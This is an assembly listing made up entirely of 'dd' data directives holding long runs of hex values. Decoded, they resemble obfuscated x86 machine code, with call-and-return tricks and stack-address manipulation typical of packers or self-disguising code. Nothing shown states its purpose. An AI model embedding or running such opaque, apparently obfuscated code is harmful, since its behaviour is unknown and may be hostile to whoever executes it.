		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 9392ABC3h
		dd 0C1AFA075h, 6ABB81h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 79C35141h, 6A006AF5h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0D16C353h
		dd 54E0FCCDh, 95FF5ADAh, 6141B19h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 91C35646h, 8589C76Eh, 61420C1h
		dd 0A7789D8Dh, 6A0617h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 674F39C3h, 79A75DF3h, 850F06h, 81000000h
		dd 0CAA360D7h, 6AD3FF0Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0F371C355h,	893B3FA7h
		dd 140F7195h, 0ED85FF06h, 6A06142Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 4D4FC357h
		dd 6E8h, 0B6C4E800h, 891571B8h,	1411D1BDh, 0B58B5F06h
		dd 6142E0Dh, 841E9h, 0E800h, 815D0000h,	17FFFEEDh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0ACA562CBh, 0CDD457FBh, 0DE95Dh, 3DF20000h, 50FFD0A3h
		dd 0D690B5A8h, 817463E8h, 142C05BDh, 7D006h, 3E860F00h
		dd 8B000001h, 140C719Dh, 858B6006h, 614000Dh, 0FE9h, 2A5C1500h
		dd 0BB32D416h, 0FC0C9604h, 72FE9AB1h, 0E38161h,	6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 8A9FC353h, 1D05BF66h, 2D6D8D29h, 0DB0B0614h
		dd 0A7850Fh, 8B660000h,	0CE9F8h, 0A9C10000h, 4C31C9BAh
		dd 8B151308h, 0BD830DA2h, 617FDB9h, 41840F00h, 8B000000h
		dd 8FE9F2h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 0A6648EC3h, 7E886h, 90EE0000h, 251F2509h
		dd 0BD035755h, 6140191h, 0CF815F5Eh, 5B76132h, 0FDB985C7h
		dd 10617h, 0B70F0000h, 43E9F2h,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B1B73BC3h
		dd 77BC0343h, 0AE98910h, 0ED000000h, 72C09650h,	2D65EC16h
		dd 0B985C7A6h, 617FDh, 81000000h, 0D7929ECEh, 719D8D14h
		dd 0E806140Ch, 0Ch, 7C95337Ch, 1363D5B9h, 0EA76FF86h, 1D9D89h
		dd 815E0614h, 0FFFEFF23h, 1D8D89FFh, 8B061423h,	140AE5BDh
		dd 0DB8C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0EBC35242h, 0D19DE545h,	830FFFFEh, 6, 1CDDBD8Bh
		dd 0C7810614h, 1D31BD80h, 0F04C3F6h, 5C84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0F28B348Bh, 121195FFh, 0B5890614h, 61410ADh,	6CBE6690h
		dd 66535079h, 905FF88Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 57C35646h, 0D0962028h, 8A96DA68h, 3F4E973h
		dd 5E90000h, 0C000000h,	17E6FEA6h, 0BF0F00B0h, 6A70E6F0h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0B92C356h, 532CB680h, 8166E676h, 0E4C296F7h
		dd 0D8B60F71h, 0D3CDBFF8h, 6BA5037h, 0B000000h,	1403F1B5h
		dd 6AC38B06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 3B05C356h, 0B4833C90h,	27B1BF66h
		dd 6A04E8C1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0F57C357h, 8Eh, 14E800h, 0C6B90000h
		dd 64F59C5Dh, 1A386BC7h, 0C8BE4970h, 11B0416Fh,	8B66EBA0h
		dd 0F7665EF1h, 6830FE2h, 31000000h, 1407099Dh, 89D82B06h
		dd 141BD5BDh, 0F509306h, 0E8Fh,	6E800h,	2E9F0000h, 229FD50Dh
		dd 935F6160h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	5BC35141h, 13E934h, 0A7BE0000h,	8CCD1DC0h, 23AF92EFh
		dd 0B0D7A9D4h, 2F54B357h, 5B5FF44h, 6A06142Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0C472C357h, 66A965F0h, 0F6D57AAh, 95FFF9BFh,	6142971h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 76C35343h
		dd 8141CCC6h, 81F7BAC6h, 0B0FC13h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 16C35141h, 67A18952h, 6A70E6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 49B4C8C3h, 7672E0AAh, 0EE987h, 69730000h, 922452D3h
		dd 38EEEA06h, 4882A807h, 0BD8B71E4h, 6142FC1h, 830F613Ch
		dd 216h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0C6C35646h, 0E8B32B27h,	0BFDEB536h, 2458AFF1h
		dd 0BAD8B60Fh, 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0FC35343h, 0B9D9BD2Eh, 12E8h, 0ECDA1E00h, 0F9A27FA9h
		dd 8B3862A4h, 0D43EAA47h, 0F4AAB5Ah, 683h, 8E0F00h, 5F000000h
		dd 0BE66C38Bh, 0E8C1A3A2h, 0ED9D8904h, 0F061423h, 482h
		dd 13BE6600h, 0E2F76642h, 18058589h, 0D82B0614h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 81C35343h, 8B7D02BDh
		dd 140639BDh, 0E18D8906h, 58061412h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 2BC35141h, 60EC430Ch, 75B66B95h
		dd 0D598D01h, 8B0F0614h, 5, 0C9F78166h,	0FD82B25h, 11588h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 7B99Fh, 0B70F0000h, 0C183F3h, 13E9h, 63B50D00h
		dd 847EB233h, 0D74CE6E5h, 0B293A1FDh, 183F79Eh,	860FD93Bh
		dd 0CEh, 74E68166h, 0D98C66E1h,	0BE8h, 441FB00h, 0ECF0D5B4h
		dd 41628F7Fh, 4C1F65Eh,	89840Fh, 0FFFC0000h, 14121195h
		dd 0F18B6606h, 61953160h, 8B06140Eh, 1420258Dh,	0F5B6106h
		dd 680h, 6DB58B00h, 2B061426h, 75B589C3h, 3D06140Ah, 834h
		dd 51860Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 46196DC3h, 9589560Eh, 6141C41h
		dd 3870F5Eh, 50000000h,	3FE95EF5h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8BA7C352h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 7B7E1FEh,	0C38BAA71h, 0B58BD88Bh
		dd 6140F09h, 89BD2360h,	0E9061412h, 7, 6022CD03h, 61B578ABh
		dd 2AA585C7h, 0C5390614h, 850F1D2Dh, 0Ch, 6870Fh, 880F0000h
		dd 0
		dd 0BD81C08Bh, 6142C05h, 7D0h, 64850Fh,	6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0E7FB9CC3h, 0E1A35C5Ch, 2B076C22h, 141FDDBDh, 0CE806h
		dd 14B30000h, 6704EA34h, 2AC73D6Eh, 9D8980EFh, 6141E19h
		dd 585FF5Eh, 0F06142Ch,	984h, 81666000h, 0B4794DC2h, 8F0F6168h
		dd 6, 9459531h,	0B5FF0614h, 6142C05h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 9FC35141h, 82283978h, 812DA3C8h
		dd 0F24245DFh, 7195FF66h, 8B061429h, 1430A1BDh,	0B8609006h
		dd 710B2449h, 34798D09h, 85290614h, 6140B3Dh, 0FFF68152h
		dd 8940E367h, 140721B5h, 6A615E06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0C91CC355h
		dd 0C1858973h, 8B061417h, 140BE9BDh, 6AF906h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 5FDF79C3h
		dd 664D96D7h, 6800Fh, 0BD890000h, 6140D71h, 0B930CE81h
		dd 0B58B7591h, 61410EDh, 0A399589h, 0B58B0614h,	6140A55h
		dd 7212F681h, 0BF666D96h, 820FDEF2h, 5,	41C6AFBEh, 55006A6Fh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 8876EDBBh, 0FE855B3Ch, 8BF08B66h, 141D51B5h,	0C1BD8B06h
		dd 0F06140Bh, 0B80h, 0D6816600h, 0DF811512h, 2D68E889h
		dd 13E8h, 34CFD200h, 655C1E67h,	24ADF95Dh, 41107FE7h, 4605CAD3h
		dd 5E9h, 0DB145800h, 0E95EE4E2h, 0FFFFF7DDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 6C35646h, 0C18B96F4h
		dd 85858B60h, 0E906142Ah, 10h, 0E6CDFFE3h, 4E102624h, 8D669244h
		dd 659A4ECEh, 4EB61h, 29000000h, 140201B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 858D21F3h, 6140791h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 86C35646h, 6430B0BAh,	7EBE8750h, 24048950h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 2FC35141h
		dd 9589006Ah, 6142B01h,	8DF5006Ah, 1809A785h, 5C08306h
		dd 0A800F50h, 60000000h, 8E0FCA8Ah, 0
		dd 24048961h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ch,	66C35343h, 189638A7h, 7B163B93h, 0E5EF8166h, 6A006A7Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 70B3C352h, 0ABE2C781h, 6A2446h, 95FFFA8Bh
		dd 6141B19h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0A5C35242h, 0AFF6BC74h,	0BF0FCCC7h, 789D8DFEh
		dd 660617A7h, 0D3FFF88Bh, 0D7E68166h, 85FFF88Fh, 6142DEDh
		dd 13860Fh, 0EE90000h, 65000000h, 456C588h, 729CA443h
		dd 0DB615CFAh, 39B58BF9h, 0E9061406h, 802h, 0E8h, 0ED815D00h
		dd 61809B1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	32C35141h, 187B9AEh, 5BD81F7h, 0D006142Ch, 0F000007h
		dd 12886h, 0EE900h, 58B40000h, 31165E8h, 0AA18874Ah, 7B8B8C29h
		dd 10C59D8Bh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 94C997C3h, 6B8E68D4h, 57BF6651h
		dd 0E381B3h, 0BF000001h, 6DAE4694h, 5820Fh, 0F1BF0000h
		dd 0B74AEBBh, 85850FDBh, 89000000h, 1408D585h, 0F88B6606h
		dd 85BBD83h, 0F000618h,	3684h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 93F4A973h
		dd 0BFE94597h, 0B58B079Bh, 6140239h, 4FE9h, 45BD8B00h
		dd 0C706142Ch, 18085B85h, 106h,	0E9F28B00h, 38h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 6C35242h, 0DF816609h
		dd 0B52920B9h, 61412FDh, 85B85C7h, 618h, 8B0F0000h, 0
		dd 10C59D8Dh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0C3CCBC3h, 66EE8166h, 0FF23818Eh
		dd 8BFFFFFEh, 140F91BDh, 0DB8C6606h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 51C35242h, 58D0Fh, 3CBE0000h
		dd 0BE569CEDh, 58EAF691h, 0F04C3F6h, 7584h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0F44F30E1h, 8166B7A9h, 0FFE19BCFh, 14121195h, 1EB3BE06h
		dd 0F18B7F15h, 14E95050h, 53000000h, 0EC904B9Bh, 0D0D9A21Fh
		dd 0F18DDB95h, 6B867782h, 5E214889h, 6A240489h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 231AC355h, 7CD8D29h,	35E90614h, 6A000004h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 74E7C356h, 0BE664176h, 0B0360Fh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 6FC35242h, 0EBB7A50Fh, 0DCC0BF66h
		dd 9D8970E6h, 61403D1h,	6A71E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0F5BC49C3h, 2E5DBD8Bh
		dd 0B60F0614h, 55006AD8h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 95858929h, 0BA06141Bh
		dd 6, 1235BD8Bh, 0BD8B0614h, 6140D9Dh, 0F78BC38Bh, 6F1BD29h
		dd 0E8C10614h, 52006A04h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 466F976Dh, 19556F4h, 0F98B37F5h
		dd 6AE2F766h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0C167C355h, 0E643689h,	0C6DAB8F9h
		dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 32062AC3h, 8B506F85h, 241C89F8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A6C35343h, 4A36F75Bh
		dd 815F57FCh, 4E004DD6h, 5B5FF2Dh, 6A06142Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 459DC357h, 0B36D11A7h, 0BD8B29EAh, 61419B5h,	297195FFh
		dd 95890614h, 6141CC1h,	70E600B0h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 91C35747h, 0E44EE637h, 55006A71h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0ED54F972h, 783B6D29h, 239BD89h, 0BE660614h,	613CE47Fh
		dd 246830Fh, 0BF660000h, 0B60FC0E2h, 56006AD8h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 77BAD763h
		dd 0B2D9A4AEh, 6BAh, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0C38BADDEh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 92C35343h, 0B7D7363Ah
		dd 0B04E8C1h, 14130DB5h, 0E2F76606h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 3CC35242h, 25F8893Bh, 0F860EA98h
		dd 16499D89h, 2B610614h, 2820FD8h, 8B000000h, 8D2958F2h
		dd 61423B9h, 880FD82Bh,	188h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 57C35141h, 6A39CA8Fh, 85294E58h
		dd 61430C5h, 0BE8h, 945C1F00h, 49912999h, 8E97B60Dh, 0F69527BFh
		dd 7B95F09h, 0E9000000h, 14h, 0A6C9C9A2h, 1A5711D1h, 0AE810AB5h
		dd 7E32E9CEh, 0BABE2B04h, 0F00C183h, 68Ah, 65BD8900h, 89061403h
		dd 141FDD8Dh, 0FD93B06h, 10F86h, 11E900h, 77660000h, 7999A8Ah
		dd 0DD1AAF73h, 6C8A19D9h, 0F239DAFh, 0C8Ch, 6810F00h, 23000000h
		dd 143449BDh, 0D98C6606h, 4E5BD8Bh, 0C1F60614h,	0A8840F04h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 487CC352h, 6A71C75Ah, 91B58B40h
		dd 0FF061419h, 14121195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 5B555B6Ch
		dd 18E0Fh, 2BF80000h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0C1F56377h, 343DF18Bh
		dd 0F000008h, 2686h, 8810F00h, 60000000h, 4002D781h, 66617BEAh
		dd 3DE9F18Bh, 60000000h, 1CB19D31h, 0D58A0614h,	35B58B61h
		dd 8B061420h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 749F17F4h, 85454BAEh, 8589FB8Bh
		dd 61430F9h, 0D88BC38Bh, 85C7F38Bh, 6140C71h, 3B2D8B9Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 52C35040h
		dd 0B866609Ah, 0E981428Bh, 75E85FD9h, 0F8C08B61h, 2C05BD81h
		dd 7D00614h, 850F0000h,	2Dh, 1E5BD8Bh, 85FF0614h, 6142C05h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7FC35646h
		dd 0D4BF6656h, 5B5FF38h, 6A06142Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7741C351h
		dd 482E607Fh, 0FFA67D2Ch, 14297195h, 2DEE8106h,	905AC3F9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9FC35242h
		dd 56BF12EDh, 6074581Ah, 1D8A0Fh, 12E90000h, 9E000000h
		dd 0BA4ABC48h, 0A924BF6Ch, 0B833B187h, 858D444h, 5FDF818Fh
		dd 665B6525h, 0F60FB8Bh, 8Dh, 8C0F00h, 8B000000h, 1404E1B5h
		dd 9D896106h, 6142B85h,	31958961h, 8B061413h, 141121BDh
		dd 0F2BF0F06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	5CC35343h, 0CE84A5Fh, 1C000000h, 60CE67A4h, 0A5E7BA67h
		dd 8B821D5Fh, 140491BDh, 0B5895F06h, 6141E2Dh, 699B589h
		dd 85890614h, 6140E21h,	1131B58Bh, 8B660614h, 12E8F8h
		dd 0B02C0000h, 0EC9401D2h, 4CC4CEE3h, 84C9A72Dh, 51ACDBAEh
		dd 56006A5Fh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0CC0E816Ah, 8B2A6B89h, 0F7FEE9FBh, 5660FFFFh
		dd 4BE533BBh, 0FEB95A26h, 21FFFFFFh, 141C698Dh,	0F2816606h
		dd 0E860E718h, 0Bh, 0FA897D61h,	25613E81h, 60B28027h, 8D8B5A61h
		dd 61402E5h, 0AD8D2161h, 6A061420h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0F38FC355h
		dd 2ABE66E5h, 8BDE8BD9h, 141C698Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 83C62F66h
		dd 850F01E1h, 3, 8BD2BF0Fh, 1420AD8Dh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 1E889823h, 0FE866BFh, 0E6000000h, 0DFF242CBh, 0B47B31DEh
		dd 2B305DD2h, 0F380211Ah, 0E1835E26h, 12850F01h, 0E9000000h
		dd 0Dh,	153C8254h, 6B64D95Eh, 4BE1CA47h, 0B9606116h, 0FFFFFFFEh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C3C35646h
		dd 14893FC5h, 0B8666B5Ah, 8D212869h, 6140C5Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0DEC35343h, 8B604F56h, 141A8D8Dh, 0CB8B6606h, 0D98D2161h
		dd 6A061417h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 9FD4C355h, 8529CB2Bh, 6142019h
		dd 0C5D8D8Bh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0D584EEC3h, 858B1080h, 6141B8Dh
		dd 89D78B66h, 1433A9BDh, 1E18306h, 6850Fh, 0B58B0000h
		dd 6141EF1h, 17D98D8Bh,	0BD890614h, 6140BB9h, 0F01E183h
		dd 85h,	0B8606100h, 7076FD9Ch, 1DFD8501h, 0FEB90614h, 66FFFFFFh
		dd 21E38EBEh, 1431258Dh, 5BE38106h, 210CE06Dh, 1410C58Dh
		dd 13E806h, 8E070000h, 0D52F4BE8h, 0E2CA339h, 936BA091h
		dd 647E7BCh, 0DF8B6675h, 258D8B5Bh, 6A061431h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0C10FC355h, 452290E1h, 0AE9h, 9B592100h, 69DFF329h
		dd 0E914F187h, 8, 6E8B7196h, 76E494D9h,	0F01E183h, 2E85h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 7E3C7D92h, 0E41B04EEh, 5850Fh, 0F6BF0000h
		dd 8B1FF676h, 1410C58Dh, 0E183FC06h, 6850F01h, 8B000000h
		dd 141F49BDh, 8B606106h, 14259D9Dh, 0FFFEB906h,	21F5FFFFh
		dd 142AA58Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0B589119Ch, 61409E1h, 0C718D21h
		dd 95890614h, 61403DDh,	2AA58D8Bh, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 89A73C3h
		dd 0BD8919E1h, 61412A1h, 0F01E183h, 2685h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 54944956h, 5B48531Eh, 8BE38AC1h, 140C718Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 47B11364h, 26018D31h, 0E1830614h, 3850F01h, 80000000h
		dd 606110F4h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	2C35747h, 0A78F6AD6h, 50D1B7DBh, 1C41B58Bh, 8B0F0614h
		dd 6, 2B09B523h, 85C70614h, 6142C05h, 7D0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 69C35646h, 9C934B8Ch
		dd 72452653h, 12E99D8Bh, 0E58A0614h, 50006A61h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0FA25E2E2h
		dd 25E81835h, 7EB7208h,	0E99D61h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 27A5C351h, 25598D0Bh, 9D010614h, 6141575h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 13C35747h, 63BF4144h
		dd 89A46A3Dh, 1416698Dh, 0EBC18B06h, 251C8F4Fh,	0A108ABFAh
		dd 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h, 29B327CEh
		dd 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h, 43F853h
		dd 0DC80BA9Fh, 0
		dd 0FEBB1B54h, 0FE390000h, 0FBh, 52DDB487h, 9ED92023h
		dd 7C809E01h, 1297E9h, 6E800h, 0D49E0000h, 1C0D7F7Ah, 2365B529h
		dd 835A0614h, 1401CDBDh, 850F0006h, 46h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 17h, 62C35545h, 0F04F663h
		dd 0B8C8BFh, 50000000h,	8E8h, 330CFB00h, 9B592125h, 0C19D2929h
		dd 5F06141Bh, 4C25Ah, 24C59D89h, 0C08B0614h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8AC35747h, 21EB2073h
		dd 8315C280h, 1410F1BDh, 9750006h, 0E25BD83h, 74000614h
		dd 8B535013h, 4D0B8C0h,	9D8D0000h, 616A526h, 585BD3FFh
		dd 0E25BD83h, 74000614h, 0B8535011h, 4D0h, 0A4739D8Dh
		dd 0D3FF0616h, 6660585Bh, 8166F38Bh, 61557FF7h,	1D5BD8Bh
		dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 81DA95C3h, 0FF5256C7h, 89C08B36h,	1419AD8Dh
		dd 54858D06h, 31061816h, 141005BDh, 66509006h, 9064F2BAh
		dd 0EE96051h, 0D7000000h, 68F8D660h, 92ADE732h,	0F20BD415h
		dd 6161602Eh, 11858D5Ah, 66061816h, 0D044DF81h,	52505050h
		dd 310F5957h, 585A5F53h, 2404895Fh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 72C35040h, 76DD795Ch, 2C08FF38h
		dd 0DD95FFF9h, 53061430h, 3A97F281h, 8B594BAAh,	60042444h
		dd 0C0B3E981h, 870F1FB5h, 0
		dd 3C858961h, 6A061816h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0EA0DC355h,	0BF66E123h
		dd 448BC593h, 840F0824h, 0Ch, 68A0Fh, 958B0000h, 6140D1Dh
		dd 85895EB6h, 6181650h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 2FC35141h, 0BD8341DEh, 614010Dh, 0D3850F00h
		dd 8B000000h, 14206995h, 4985C606h, 47061408h, 1DBD9523h
		dd 4E80614h, 0D2000000h, 60D49AA7h, 0AE8h, 0F97D9100h
		dd 177E178Dh, 58591679h, 0B8665250h, 310F17F4h,	9E8h, 0CC6D6000h
		dd 0A0B94136h, 5A5991C3h, 8B506158h, 24448BFEh,	8BD78A04h
		dd 0BA565100h, 2B878860h, 44895F5Fh, 0D68B0424h, 6E858h
		dd 0B9F90000h, 554254A8h, 88E18166h, 0B5FF5F99h, 6142C65h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8CC35747h
		dd 8B10BDAFh, 140755BDh, 0E2816606h, 858D9D1Bh,	61778FEh
		dd 9878CF81h, 33604940h, 141AB585h, 8C0F06h, 61000000h
		dd 0BD8BD0FFh, 61404F5h, 10D8589h, 9D890614h, 614052Dh
		dd 0BD830EB2h, 6140BCDh, 9F850F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 8BCC351h, 5A1F5463h,	0F5560184h, 1C28166h, 4985C6A7h
		dd 47061408h, 11199589h, 0E680614h, 66CA6F85h, 81FC39B9h
		dd 30EC2434h, 8B604060h, 140AA9B5h, 0B5FF6106h,	6142C65h
		dd 0AE9h, 0AFB65500h, 38BEB907h, 8D3AEDF7h, 1778FE85h
		dd 0D9816606h, 0D0FF8B42h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 60C35343h, 0EBB2EEC4h, 0C62BA4Bh, 85893900h
		dd 6140BCDh, 0BD83FB8Bh, 6140C21h, 0A4850F00h, 60000000h
		dd 0B18D8BF8h, 61061415h, 84985C6h, 89560614h, 142B718Dh
		dd 10406806h, 0CF8B85BFh, 79243481h, 8B51A07Dh,	1408A98Dh
		dd 65B5FF06h, 6A06142Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 752EC353h, 7A31ADDh
		dd 0FDA90AEDh, 9D0BF860h, 61400C1h, 0FE858D61h,	0FF061778h
		dd 50006AD0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 290673D0h, 0EA0FAE70h, 0BD8B17ADh, 6141091h
		dd 0C218589h, 0ED800614h, 5E968h, 0B9510000h, 0C6022A90h
		dd 14084985h, 4E86C06h,	83000000h, 50DB0570h, 6180B560h
		dd 424448Bh, 8BFB8B66h,	0E8576000h, 7, 0A0A54D0h, 59D1C360h
		dd 5B51525Eh, 4489615Ah, 52500424h, 0FE9h, 0BF03B400h
		dd 0C11A4B35h, 0FD2015C6h, 0AE8FFB44h, 0D48A310Fh, 6A58585Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 5992C350h, 0F31C3436h, 0EA7025E0h, 0B7FEC0BAh
		dd 2830F50h, 8B000000h,	2DB5FFCEh, 3306140Ch, 140371BDh
		dd 4E858D06h, 8B06143Bh, 1416BD8Dh, 6AD0FF06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
